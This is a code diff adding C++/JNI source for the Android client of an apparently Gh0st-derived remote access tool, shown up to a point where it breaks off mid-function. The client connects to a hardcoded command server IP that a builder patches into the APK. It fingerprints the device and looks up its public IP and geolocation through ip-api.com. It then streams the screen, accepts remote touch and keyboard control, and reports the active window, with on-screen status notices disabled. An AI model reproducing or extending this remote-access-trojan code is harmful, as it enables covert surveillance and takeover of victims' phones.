~AndroidScreenHandler() {
m_running = false;
m_cond.notify_all();
if (m_sendThread.joinable())
m_sendThread.join();
}
// 子连接建立后立即调用,告知服务端屏幕尺寸和编码格式
void SendBitmapInfo() {
const uint32_t total = 1 + sizeof(BmpInfoHeader) + 2 * sizeof(uint64_t) + sizeof(ScreenSettings);
std::vector<uint8_t> buf(total, 0);
buf[0] = TOKEN_BITMAPINFO;
memcpy(&buf[1], &m_bmpHdr, sizeof(BmpInfoHeader));
uint64_t clientID = g_myClientID;
uint64_t zero = 0;
size_t off = 1 + sizeof(BmpInfoHeader);
memcpy(&buf[off], &clientID, 8);
memcpy(&buf[off + 8], &zero, 8);
ScreenSettings ss = {};
ss.MaxFPS = 10;
ss.ScreenWidth = m_width;
ss.ScreenHeight = m_height;
ss.QualityLevel = QUALITY_GOOD; // 告知服务端使用 H264 解码器
ss.ScreenType = USING_VIRTUAL; // 虚拟显示
memcpy(&buf[off + 16], &ss, sizeof(ss));
m_client->Send2Server((char*)buf.data(), total);
LOGI_SH("SendBitmapInfo %dx%d clientID=%" PRIu64, m_width, m_height, clientID);
// H.264 是推送模式,不需要等 COMMAND_NEXT 才开始发帧。
// 服务端在 auth 通过瞬间发 COMMAND_NEXT此时 setManagerCallBack 尚未注册,
// 消息被 WorkThread 丢弃m_started 永远 false 导致帧全部卡在队列里。
m_started = true;
m_cond.notify_all();
}
// 由 JNI 线程调用,投递 MediaCodec 输出的 NALU
void OnFrameData(const uint8_t* data, uint32_t size, bool isKeyframe) {
if (!m_running || size == 0) return;
{
std::lock_guard<std::mutex> lk(m_mutex);
while (m_queue.size() >= 6) m_queue.pop();
m_queue.push({std::vector<uint8_t>(data, data + size), isKeyframe});
}
m_cond.notify_one();
}
virtual VOID OnReceive(PBYTE data, ULONG size) override {
if (!size) return;
switch (data[0]) {
case COMMAND_NEXT:
// 推送模式下已在 SendBitmapInfo 里开始推流;此处保留兼容,无副作用。
LOGI_SH("COMMAND_NEXT received");
m_started = true;
m_cond.notify_all();
break;
case CMD_QUALITY_LEVEL:
if (size >= 2) LOGI_SH("QualityLevel=%d", (int)(int8_t)data[1]);
break;
case COMMAND_SCREEN_CONTROL: {
// 服务端通过子连接下发鼠标/键盘控制包MSG64 固定 48 字节)
// 坐标从 lParamoffset 24读取与 Windows/Linux/macOS 客户端一致:
// lParam = MAKELPARAM(enc_x, enc_y)低16位=x高16位=y。
// 不读 pt.x/pt.y (offset 40/44)64-bit MSG 的 pt 在 offset 36
// 与 MSG64 offset 40 不同,直接读会得到错误坐标。
if ((ULONG)size < 1 + 48u) break;
const uint8_t* p = data + 1;
uint64_t msgVal = 0, wParam = 0, lParam = 0;
memcpy(&msgVal, p + 8, 8);
memcpy(&wParam, p + 16, 8);
memcpy(&lParam, p + 24, 8);
int32_t ptX = (int32_t)(int16_t)(lParam & 0xFFFF);
int32_t ptY = (int32_t)(int16_t)((lParam >> 16) & 0xFFFF);
DispatchControlEvent((uint32_t)msgVal, wParam, ptX, ptY);
break;
}
default:
break;
}
}
private:
struct Frame { std::vector<uint8_t> data; bool isKeyframe; };
IOCPClient* m_client;
int m_width, m_height;
std::atomic<bool> m_started;
std::atomic<bool> m_running;
std::atomic<bool> m_firstSent;
std::atomic<bool> m_skipLogged{false};
BmpInfoHeader m_bmpHdr;
std::queue<Frame> m_queue;
std::mutex m_mutex;
std::condition_variable m_cond;
std::thread m_sendThread;
void SendLoop() {
while (m_running) {
std::unique_lock<std::mutex> lk(m_mutex);
m_cond.wait(lk, [&]{ return (!m_queue.empty() && m_started) || !m_running; });
if (!m_running) break;
Frame f = std::move(m_queue.front());
m_queue.pop();
lk.unlock();
// 第一帧必须是关键帧
if (!m_firstSent && !f.isKeyframe) {
if (!m_skipLogged.exchange(true))
LOGI_SH("SendLoop: waiting for first IDR, skipping P-frames");
continue;
}
if (!m_firstSent)
LOGI_SH("SendH264 first IDR size=%u", (uint32_t)f.data.size());
SendH264(f.data.data(), (uint32_t)f.data.size());
m_firstSent = true;
}
}
// 格式: [TOKEN_NEXTSCREEN:1][ALGORITHM_H264:1][cursorX:4][cursorY:4][cursorType:1][NALU:N]
void SendH264(const uint8_t* nalu, uint32_t naluSize) {
const uint32_t hdrSize = 1 + 1 + 4 + 4 + 1;
std::vector<uint8_t> pkt(hdrSize + naluSize);
pkt[0] = TOKEN_NEXTSCREEN;
pkt[1] = ALGORITHM_H264;
// cursor: (0,0), type: IDC_ARROW=1
memset(&pkt[2], 0, 8);
pkt[10] = 1;
memcpy(&pkt[hdrSize], nalu, naluSize);
m_client->Send2Server((char*)pkt.data(), pkt.size());
}
};

View File

@@ -0,0 +1,24 @@
// android_compat.h - Android NDK 兼容垫片,通过 CMake force-include 注入每个源文件
// 不修改任何共用代码client/、common/
#pragma once
#ifdef __ANDROID__
#include <string.h>
#include <stdlib.h>
#ifdef __cplusplus
#include <cstring>
#include <cstdlib>
// strcpy_s(dest, src) — MSVC 2-arg 扩展Android NDK 无此签名
template<size_t N>
inline int strcpy_s(char (&dest)[N], const char* src) {
strncpy(dest, src ? src : "", N - 1);
dest[N - 1] = '\0';
return 0;
}
#endif // __cplusplus
// rand_s — Windows 安全随机数Android 用 arc4random 替代
#define rand_s(p) (*(p) = (unsigned int)arc4random(), 0)
#endif // __ANDROID__

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,825 @@
#include <jni.h>
#include <android/log.h>
#include <thread>
#include <chrono>
#include <atomic>
#include <mutex>
#include <set>
#include <string>
#include <cstring>
#include <cinttypes>
#include <cstdio>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include "common/commands.h"
#include "common/client_auth_state.h"
#include "common/rtt_estimator.h"
#include "client/IOCPClient.h"
#include "ScreenHandler.h"
#define XXH_INLINE_ALL
#include "common/xxhash.h"
#include "common/logger.h"
#define LOG_TAG "YAMA"
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
// 1 = 状态提示显示到电视屏幕0 = 只写 logcat不显示到屏幕
#define SCREEN_STATUS_ENABLED 0
extern "C" int signMessage_c(const char* pk, int pkLen, const unsigned char* msg,
int msgLen, char* buf, int bufSize);
// ---- 设备信息 helper登录时填充仅调用一次----
static int GetCpuCores() {
long n = sysconf(_SC_NPROCESSORS_ONLN);
return (n > 0) ? (int)n : 1;
}
static double GetMemoryGB() {
FILE* f = fopen("/proc/meminfo", "r");
if (!f) return 0.0;
char line[128];
unsigned long kb = 0;
while (fgets(line, sizeof(line), f)) {
if (sscanf(line, "MemTotal: %lu kB", &kb) == 1) break;
}
fclose(f);
return kb / (1024.0 * 1024.0);
}
// 遍历 cpu0-cpu7取 cpuinfo_max_freq 最大值(大核频率)
static int GetCpuMHz() {
// 优先从 sysfs 读取(真机有效)
unsigned long maxKhz = 0;
char path[80];
for (int i = 0; i < 8; i++) {
snprintf(path, sizeof(path),
"/sys/devices/system/cpu/cpu%d/cpufreq/cpuinfo_max_freq", i);
FILE* f = fopen(path, "r");
if (!f) continue;
unsigned long khz = 0;
if (fscanf(f, "%lu", &khz) == 1 && khz > maxKhz) maxKhz = khz;
fclose(f);
}
if (maxKhz > 0) return (int)(maxKhz / 1000);
// 回退:解析 /proc/cpuinfo 中的 "BogoMIPS"(模拟器可用)
FILE* f = fopen("/proc/cpuinfo", "r");
if (!f) return 0;
char line[128];
double bogomips = 0;
while (fgets(line, sizeof(line), f)) {
if (sscanf(line, "BogoMIPS : %lf", &bogomips) == 1 ||
sscanf(line, "bogomips : %lf", &bogomips) == 1) break;
}
fclose(f);
return bogomips > 0 ? (int)bogomips : 0;
}
static long GetFileSize(const std::string& path) {
if (path.empty()) return 0;
struct stat st;
return (stat(path.c_str(), &st) == 0) ? (long)st.st_size : 0;
}
static std::string FormatFileSize(long bytes) {
char buf[32];
if (bytes >= 1024 * 1024)
snprintf(buf, sizeof(buf), "%.1fM", bytes / (1024.0 * 1024.0));
else if (bytes >= 1024)
snprintf(buf, sizeof(buf), "%.1fK", bytes / 1024.0);
else
snprintf(buf, sizeof(buf), "%ldB", bytes);
return buf;
}
// 从 JSON 字符串中提取字符串字段值
static std::string JsonGetStr(const std::string& json, const char* key) {
std::string needle = std::string("\"") + key + "\":";
auto pos = json.find(needle);
if (pos == std::string::npos) return "";
pos += needle.size();
while (pos < json.size() && json[pos] == ' ') pos++;
if (pos >= json.size() || json[pos] != '"') return "";
pos++;
auto end = json.find('"', pos);
return (end == std::string::npos) ? "" : json.substr(pos, end - pos);
}
// 查询 ip-api.com一次请求同时获取公网 IP 和地理位置(与 Windows 客户端同源)
// 在连接线程中同步调用,超时 3 秒
struct GeoResult {
std::string pubIp, location;
std::atomic<bool> ready{false};
};
static void FetchGeoInfoImpl(std::shared_ptr<GeoResult> out) {
struct addrinfo hints = {}, *res = nullptr;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
if (getaddrinfo("ip-api.com", "80", &hints, &res) != 0 || !res) {
out->ready.store(true, std::memory_order_release); return;
}
int fd = ::socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) { freeaddrinfo(res); out->ready.store(true, std::memory_order_release); return; }
struct timeval tv = {3, 0};
setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
connect(fd, res->ai_addr, res->ai_addrlen);
fd_set wfds; FD_ZERO(&wfds); FD_SET(fd, &wfds);
bool connected = (select(fd + 1, nullptr, &wfds, nullptr, &tv) == 1);
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) & ~O_NONBLOCK);
if (connected) {
const char* req = "GET /json/?fields=status,query,country,city HTTP/1.0\r\n"
"Host: ip-api.com\r\n"
"Connection: close\r\n\r\n";
send(fd, req, strlen(req), 0);
std::string resp;
char buf[512];
ssize_t n;
while ((n = recv(fd, buf, sizeof(buf), 0)) > 0) resp.append(buf, (size_t)n);
auto sep = resp.find("\r\n\r\n");
if (sep != std::string::npos) {
const std::string body = resp.substr(sep + 4);
if (JsonGetStr(body, "status") == "success") {
out->pubIp = JsonGetStr(body, "query");
std::string city = JsonGetStr(body, "city");
std::string country = JsonGetStr(body, "country");
if (!city.empty() && !country.empty()) out->location = city + ", " + country;
else if (!country.empty()) out->location = country;
else if (!city.empty()) out->location = city;
}
}
}
close(fd);
freeaddrinfo(res);
out->ready.store(true, std::memory_order_release);
}
// getaddrinfo 在某些设备上会永久阻塞,用独立线程 + 5 秒轮询超时保护 ConnectionThread
static bool FetchGeoInfo(std::string& pubIp, std::string& location) {
pubIp.clear(); location.clear();
auto result = std::make_shared<GeoResult>();
std::thread(FetchGeoInfoImpl, result).detach();
for (int i = 0; i < 50 && !result->ready.load(std::memory_order_acquire); i++)
usleep(100000); // 100ms × 50 = 5 秒
if (!result->ready.load(std::memory_order_acquire)) return false;
pubIp = result->pubIp;
location = result->location;
return !pubIp.empty();
}
// 服务端通过 FLAG_GHOST"Hello, World!"定位此变量patch szServerIP/szPort 后重签 APK
// 偏移szServerIP at +32, szPort at +132见 commands.h CONNECT_ADDRESS 定义)
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_ANDROID };
// ---- 全局状态 ----
// CPP-06: g_bExit 是全局变量,跨调用边界不会被编译器缓存进寄存器;
// IOCPClient 构造接受 const State& 持有引用,不能改为 atomic/volatile
// 直接用 StateARM 4 字节对齐写入硬件层面原子,实际安全。
State g_bExit{S_CLIENT_NORMAL};
uint64_t g_myClientID = 0; // sub_conn_thread.h 需要的外部符号
static std::atomic<bool> g_running{false};
static std::atomic<uint64_t> g_lastHeartbeatAckMs{0};
// ---- JNI 反向调用DataProcess → ControlService / CaptureService----
static JavaVM* g_jvm = nullptr;
static jclass g_ctrlClass = nullptr;
static jmethodID g_ctrlMethod = nullptr;
static jmethodID g_getActiveWindowMid = nullptr;
// CaptureService.requestIdr() / forceFirstFrame() — ScreenSpyThread 子连接建立后触发
static jclass g_captureClass = nullptr;
static jmethodID g_requestIdrMid = nullptr;
static jmethodID g_forceFirstFrameMid = nullptr;
static jmethodID g_statusMid = nullptr; // CaptureService.onNativeStatus(String)
static jmethodID g_nativeExitMid = nullptr; // CaptureService.onNativeExit() — 服务端主动断开时停止服务
// 心跳日志限流:每 60 秒最多打一次
static std::atomic<uint64_t> g_lastHbLogMs{0};
static constexpr uint64_t HB_LOG_INTERVAL_MS = 60000;
// 供主连接和子连接共同调用:把 COMMAND_SCREEN_CONTROL 路由到 ControlService.onControlEvent()
// 定义在全局函数区ScreenHandler.h 通过 extern 声明使用。
void DispatchControlEvent(uint32_t msgVal, uint64_t wParam, int32_t ptX, int32_t ptY)
{
if (!g_jvm || !g_ctrlClass || !g_ctrlMethod) {
LOGE("SCREEN_CONTROL: JNI not ready (ctrl=%p method=%p)", g_ctrlClass, g_ctrlMethod);
return;
}
if (msgVal != 0x200u)
LOGI("SCREEN_CONTROL: msg=0x%X pt=(%d,%d)", msgVal, ptX, ptY);
JNIEnv* jenv = nullptr;
bool attached = false;
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
if (st == JNI_EDETACHED) {
// CPP-03 fix: 检查 AttachCurrentThread 返回值,失败时 jenv 仍为 null
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return;
attached = true;
} else if (st != JNI_OK || !jenv) {
return;
}
jenv->CallStaticVoidMethod(g_ctrlClass, g_ctrlMethod,
(jint)msgVal, (jlong)wParam, (jint)ptX, (jint)ptY);
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
if (attached) g_jvm->DetachCurrentThread();
}
static std::string GetActiveWindowFromJava()
{
if (!g_jvm || !g_ctrlClass || !g_getActiveWindowMid) return "Android";
JNIEnv* jenv = nullptr;
bool attached = false;
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
if (st == JNI_EDETACHED) {
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return "Android";
attached = true;
} else if (st != JNI_OK || !jenv) {
return "Android";
}
jstring js = (jstring)jenv->CallStaticObjectMethod(g_ctrlClass, g_getActiveWindowMid);
std::string result = "Android";
if (js && !jenv->ExceptionOccurred()) {
const char* c = jenv->GetStringUTFChars(js, nullptr);
if (c) { result = c; jenv->ReleaseStringUTFChars(js, c); }
jenv->DeleteLocalRef(js);
}
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
if (attached) g_jvm->DetachCurrentThread();
return result;
}
// 服务器连接参数
static std::string g_serverIp;
static int g_serverPort = 443;
// 设备信息nativeInit 传入)
static std::string g_androidId;
static std::string g_deviceModel;
static std::string g_androidVersion;
static std::string g_screenRes;
static std::string g_username;
static std::string g_apkPath;
static std::string g_filesDir; // context.filesDir无需权限用于持久化分组名
static void SaveGroupName() {
if (g_filesDir.empty()) return;
std::string path = g_filesDir + "/yama_group";
FILE* f = fopen(path.c_str(), "w");
if (!f) { LOGI("SaveGroupName: cannot open %s", path.c_str()); return; }
fputs(g_SETTINGS.szGroupName, f);
fclose(f);
LOGI("Group saved: %s", g_SETTINGS.szGroupName);
}
static void LoadGroupName() {
if (g_filesDir.empty()) return;
std::string path = g_filesDir + "/yama_group";
FILE* f = fopen(path.c_str(), "r");
if (!f) return;
char buf[24] = {};
if (fgets(buf, sizeof(buf), f)) {
size_t len = strlen(buf);
while (len > 0 && (buf[len - 1] == '\n' || buf[len - 1] == '\r')) buf[--len] = '\0';
if (len > 0) {
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
strncpy(g_SETTINGS.szGroupName, buf, sizeof(g_SETTINGS.szGroupName) - 1);
LOGI("Group loaded from file: %s", buf);
}
}
fclose(f);
}
// 屏幕尺寸Java 侧 MediaCodec 配置后通过 nativeSetScreenSize 设置)
// 初始化为 0ScreenSpyThread 等到非零后再读,避免在 nativeSetScreenSize 之前
// 拿到默认值 1280×720 发给服务端导致 decoder 尺寸错误黑屏。
static std::atomic<int> g_screenWidth{0};
static std::atomic<int> g_screenHeight{0};
// 活跃子连接的 handler 集合(受 g_shMutex 保护);支持多个浏览者/控制者同时连接
static std::set<AndroidScreenHandler*> g_screenHandlers;
static std::mutex g_shMutex;
// ------------------------------------------------------------------ 屏幕子连接线程
// 通过 JNI 调用 CaptureService 的静态方法,复用同一套 attach/detach 模板。
static void CallCaptureStaticVoid(jmethodID mid)
{
if (!g_jvm || !g_captureClass || !mid) return;
JNIEnv* jenv = nullptr;
bool attached = false;
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
if (st == JNI_EDETACHED) {
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return;
attached = true;
} else if (st != JNI_OK || !jenv) {
return;
}
jenv->CallStaticVoidMethod(g_captureClass, mid);
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
if (attached) g_jvm->DetachCurrentThread();
}
// 触发编码器输出关键帧setParameters REQUEST_SYNC_FRAME
static void RequestIdrFromJava() { CallCaptureStaticVoid(g_requestIdrMid); }
// 强制 VirtualDisplay 推一帧(静止屏幕绕过 SurfaceFlinger 空闲优化)
static void ForceFirstFrameFromJava() { CallCaptureStaticVoid(g_forceFirstFrameMid); }
// 向 CaptureService.onNativeStatus() 发送状态 Toast连接线程诊断用
static void PostStatus(const char* msg) {
LOGI("STATUS: %s", msg);
#if SCREEN_STATUS_ENABLED
if (!g_jvm || !g_captureClass || !g_statusMid) return;
JNIEnv* jenv = nullptr;
bool attached = false;
if (g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6) == JNI_EDETACHED) {
g_jvm->AttachCurrentThread(&jenv, nullptr);
attached = true;
}
if (jenv) {
jstring js = jenv->NewStringUTF(msg);
if (js) {
jenv->CallStaticVoidMethod(g_captureClass, g_statusMid, js);
jenv->DeleteLocalRef(js);
}
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
}
if (attached) g_jvm->DetachCurrentThread();
#endif
}
static void ScreenSpyThread()
{
// 等待 Java 侧 startCapture() 调用 nativeSetScreenSize 设置真实分辨率。
// 若在此之前读到默认值 0SendBitmapInfo 会发错误尺寸给服务端,
// 导致浏览器 initDecoder 尺寸与 H.264 SPS 不一致 → decode error → 黑屏。
for (int i = 0; i < 100 && g_screenWidth.load() == 0 && g_running.load(); ++i)
Sleep(50); // 最多等 5 秒
int w = g_screenWidth.load();
int h = g_screenHeight.load();
if (w == 0 || h == 0) {
LOGE("ScreenSpyThread: screen size not set after 5s, abort");
return;
}
LOGI("ScreenSpyThread start → %s:%d size=%dx%d", g_serverIp.c_str(), g_serverPort, w, h);
// 服务端只发一次 COMMAND_SCREEN_SPY 就等子连接,子连接失败必须自己重试
for (int attempt = 1; attempt <= 20 && S_CLIENT_NORMAL == g_bExit && g_running.load(); ++attempt) {
// 声明在 try 外部,确保 catch 中 handler 仍有效,可安全从 g_screenHandlers 移除
std::unique_ptr<IOCPClient> client;
std::unique_ptr<AndroidScreenHandler> handler;
try {
LOGI("SST[%d]: creating IOCPClient", attempt);
client = std::make_unique<IOCPClient>(g_bExit, true);
client->EnableSubConnAuth(true, g_myClientID);
LOGI("SST[%d]: connecting %s:%d", attempt, g_serverIp.c_str(), g_serverPort);
if (!client->ConnectServer(g_serverIp.c_str(), g_serverPort)) {
LOGI("ScreenSpyThread: connect failed (attempt %d/20), retry 2s", attempt);
Sleep(2000);
continue;
}
LOGI("SST[%d]: connected, creating handler w=%d h=%d", attempt, w, h);
handler = std::make_unique<AndroidScreenHandler>(client.get(), w, h);
LOGI("SST[%d]: handler created, inserting to set", attempt);
{
std::lock_guard<std::mutex> lk(g_shMutex);
g_screenHandlers.insert(handler.get());
}
LOGI("SST[%d]: setManagerCallBack", attempt);
client->setManagerCallBack(handler.get(),
IOCPManager::DataProcess,
IOCPManager::ReconnectProcess);
LOGI("SST[%d]: SendBitmapInfo", attempt);
handler->SendBitmapInfo();
LOGI("SST[%d]: ForceFirstFrame", attempt);
ForceFirstFrameFromJava();
LOGI("SST[%d]: RequestIdr", attempt);
RequestIdrFromJava();
LOGI("SST[%d]: entering wait loop", attempt);
while (client->IsRunning() && client->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(200);
client->setManagerCallBack(nullptr, nullptr, nullptr);
{
std::lock_guard<std::mutex> lk(g_shMutex);
g_screenHandlers.erase(handler.get());
}
} catch (const std::exception& e) {
LOGE("ScreenSpyThread exception (attempt %d): %s", attempt, e.what());
// 先清除回调,再析构 handler防止 client 在 handler 析构后仍持有其指针
if (client) client->setManagerCallBack(nullptr, nullptr, nullptr);
if (handler) {
std::lock_guard<std::mutex> lk(g_shMutex);
g_screenHandlers.erase(handler.get());
}
Sleep(2000);
continue;
}
break; // 正常结束,不再重试
}
LOGI("ScreenSpyThread exit");
}
// ------------------------------------------------------------------ DataProcess
int DataProcess(void* /*user*/, PBYTE szBuffer, ULONG ulLength)
{
if (!szBuffer || !ulLength) return TRUE;
int allowed = (int)ClientAuth::IsCommandAllowed(szBuffer[0]);
if (!allowed) {
LOGI("DataProcess cmd=%d len=%lu allowed=%d",
(int)(unsigned char)szBuffer[0], (unsigned long)ulLength, allowed);
return TRUE;
}
switch (szBuffer[0]) {
case COMMAND_BYE:
PostStatus("BYE from server");
g_bExit = S_CLIENT_EXIT;
break;
case CMD_HEARTBEAT_ACK:
if (ulLength >= 1 + (ULONG)sizeof(HeartbeatACK)) {
HeartbeatACK ack;
memcpy(&ack, szBuffer + 1, sizeof(HeartbeatACK));
uint64_t now = GetUnixMs();
g_lastHeartbeatAckMs.store(now, std::memory_order_relaxed);
int64_t rtt = (int64_t)now - (int64_t)ack.Time;
if (ack.ProcessingMs > 0 && (int64_t)ack.ProcessingMs < rtt)
rtt -= ack.ProcessingMs;
g_rttEstimator.update_from_sample((double)rtt);
if (now - g_lastHbLogMs.load(std::memory_order_relaxed) >= HB_LOG_INTERVAL_MS) {
g_lastHbLogMs.store(now, std::memory_order_relaxed);
LOGI("HeartbeatACK RTT=%" PRId64 "ms SRTT=%.1fms", rtt, g_rttEstimator.srtt * 1000.0);
}
}
break;
case CMD_MASTERSETTING: {
MasterSettings settings;
if (ClientAuth::HandleMasterSettings(szBuffer + 1, (int)ulLength - 1, &settings)) {
if (settings.ReportInterval > 0)
g_heartbeatInterval = std::max(settings.ReportInterval, 30);
LOGI("MasterSettings OK interval=%ds (server=%d)", g_heartbeatInterval, settings.ReportInterval);
PostStatus("masterSettings: OK");
} else {
PostStatus("masterSettings: FAIL");
}
break;
}
case COMMAND_SCREEN_SPY: {
// 每个 COMMAND_SCREEN_SPY 对应一个独立子连接,支持多人同时观看/控制
size_t active;
{ std::lock_guard<std::mutex> lk(g_shMutex); active = g_screenHandlers.size(); }
LOGI("cmd: COMMAND_SCREEN_SPY len=%lu active=%zu w=%d h=%d",
(unsigned long)ulLength, active, g_screenWidth.load(), g_screenHeight.load());
std::thread(ScreenSpyThread).detach();
break;
}
case COMMAND_SCREEN_CONTROL: {
if (ulLength < 1 + 48u) { LOGI("SCREEN_CONTROL(main): too short %u", ulLength); break; }
const uint8_t* p = szBuffer + 1;
uint64_t msgVal = 0, wParam = 0, lParam = 0;
memcpy(&msgVal, p + 8, 8);
memcpy(&wParam, p + 16, 8);
memcpy(&lParam, p + 24, 8);
int32_t ptX = (int32_t)(int16_t)(lParam & 0xFFFF);
int32_t ptY = (int32_t)(int16_t)((lParam >> 16) & 0xFFFF);
DispatchControlEvent((uint32_t)msgVal, wParam, ptX, ptY);
break;
}
case CMD_SET_GROUP: {
std::string grp;
if (ulLength > 1) {
grp.assign((const char*)szBuffer + 1, ulLength - 1);
auto z = grp.find('\0');
if (z != std::string::npos) grp.resize(z);
}
{
std::lock_guard<std::mutex> lk(g_shMutex);
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
strncpy(g_SETTINGS.szGroupName, grp.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
}
SaveGroupName();
LOGI("Group changed to: %s", grp.c_str());
break;
}
case COMMAND_SHELL:
LOGI("COMMAND_SHELL (not implemented)");
break;
case COMMAND_SYSTEM:
LOGI("COMMAND_SYSTEM (not implemented)");
break;
default:
LOGI("cmd: unhandled cmd=%d len=%lu", (int)szBuffer[0], (unsigned long)ulLength);
break;
}
return TRUE;
}
// ------------------------------------------------------------------ 网络主线程
static void ConnectionThread()
{
LOGI("ConnectionThread → %s:%d", g_serverIp.c_str(), g_serverPort);
PostStatus("geo: fetching...");
std::string g_pubIp, g_location;
FetchGeoInfo(g_pubIp, g_location);
PostStatus(("geo: " + (g_pubIp.empty() ? "failed" : g_pubIp)).c_str());
LOGIN_INFOR logInfo;
{
std::string pcName = g_deviceModel;
if (g_SETTINGS.szGroupName[0]) { pcName += '/'; pcName += g_SETTINGS.szGroupName; }
strncpy(logInfo.szPCName, pcName.c_str(), sizeof(logInfo.szPCName) - 1);
}
strncpy(logInfo.OsVerInfoEx, g_androidVersion.c_str(), sizeof(logInfo.OsVerInfoEx) - 1);
strncpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str(), sizeof(logInfo.szStartTime) - 1);
logInfo.dwCPUMHz = GetCpuMHz();
logInfo.bWebCamIsExist = 0;
g_myClientID = XXH64(g_androidId.c_str(), g_androidId.size(), 0);
logInfo.AddReserved("APK");
logInfo.AddReserved(64); // OS bits
logInfo.AddReserved(GetCpuCores()); // CPU 核数
logInfo.AddReserved(GetMemoryGB()); // 内存 GB
logInfo.AddReserved(g_apkPath.empty() ? "/data/app/com.yama.client"
: g_apkPath.c_str()); // 文件路径
logInfo.AddReserved("?");
logInfo.AddReserved(logInfo.szStartTime);
logInfo.AddReserved("?");
logInfo.AddReserved(64); // 程序位数
logInfo.AddReserved("");
logInfo.AddReserved(g_location.c_str()); // [10] 地理位置
logInfo.AddReserved(g_pubIp.c_str()); // [11] 公网 IP
logInfo.AddReserved("v1.0.0");
logInfo.AddReserved(g_username.c_str());
logInfo.AddReserved(0); // IsRunningAsAdmin
logInfo.AddReserved(g_screenRes.c_str());
logInfo.AddReserved(std::to_string(g_myClientID).c_str());
logInfo.AddReserved((int)getpid()); // PID
logInfo.AddReserved(FormatFileSize(GetFileSize(g_apkPath)).c_str()); // 文件大小
ClientAuth::g_loginMsg = std::string(logInfo.szStartTime) + "|" + std::to_string(g_myClientID);
LOGI("ClientID=%" PRIu64, g_myClientID);
std::unique_ptr<IOCPClient> client(new IOCPClient(g_bExit, false));
client->setManagerCallBack(nullptr, DataProcess, nullptr);
int g_connAttempt = 0;
while (S_CLIENT_NORMAL == g_bExit && g_running.load()) {
char connMsg[64];
snprintf(connMsg, sizeof(connMsg), "connect #%d → %s:%d",
++g_connAttempt, g_serverIp.c_str(), g_serverPort);
PostStatus(connMsg);
clock_t c = clock();
if (!client->ConnectServer(g_serverIp.c_str(), g_serverPort)) {
snprintf(connMsg, sizeof(connMsg), "connect #%d failed errno=%d", g_connAttempt, errno);
PostStatus(connMsg);
Sleep(5000);
continue;
}
PostStatus("connected! sending login...");
ClientAuth::OnNewConnection();
{
std::lock_guard<std::mutex> lk(g_shMutex);
std::string pcName = g_deviceModel;
if (g_SETTINGS.szGroupName[0]) { pcName += '/'; pcName += g_SETTINGS.szGroupName; }
strncpy(logInfo.szPCName, pcName.c_str(), sizeof(logInfo.szPCName) - 1);
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
}
client->SendLoginInfo(logInfo.Speed(clock() - c));
g_lastHeartbeatAckMs.store(GetUnixMs(), std::memory_order_relaxed);
LOGI("Connected & login sent");
while (client->IsRunning() && client->IsConnected()
&& S_CLIENT_NORMAL == g_bExit && g_running.load())
{
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
for (int i = 0; i < interval; ++i) {
if (!client->IsRunning() || !client->IsConnected()
|| g_bExit != S_CLIENT_NORMAL || !g_running.load()) {
char dbg[96];
snprintf(dbg, sizeof(dbg), "drop@%ds run=%d conn=%d exit=%d run2=%d",
i, (int)client->IsRunning(), (int)client->IsConnected(),
(int)(g_bExit == S_CLIENT_NORMAL), (int)g_running.load());
PostStatus(dbg);
break;
}
Sleep(1000);
}
if (!client->IsRunning() || !client->IsConnected()
|| g_bExit != S_CLIENT_NORMAL || !g_running.load()) break;
if (ClientAuth::IsTimedOut()) {
PostStatus("timeout: masterSettings");
continue;
}
{
int ackTO = (interval * 3 > 60) ? interval * 3 : 60;
uint64_t last = g_lastHeartbeatAckMs.load(std::memory_order_relaxed);
uint64_t now = GetUnixMs();
if (last > 0 && now > last && now - last > (uint64_t)ackTO * 1000ULL) {
PostStatus("timeout: ACK");
continue;
}
}
Heartbeat hb;
hb.Time = GetUnixMs();
hb.Ping = (int)(g_rttEstimator.srtt * 1000.0);
std::string aw = GetActiveWindowFromJava();
strncpy(hb.ActiveWnd, aw.c_str(), sizeof(hb.ActiveWnd) - 1);
BYTE buf[sizeof(Heartbeat) + 1];
buf[0] = TOKEN_HEARTBEAT;
memcpy(buf + 1, &hb, sizeof(Heartbeat));
client->Send2Server((char*)buf, sizeof(buf));
{
uint64_t now2 = GetUnixMs();
if (now2 - g_lastHbLogMs.load(std::memory_order_relaxed) >= HB_LOG_INTERVAL_MS) {
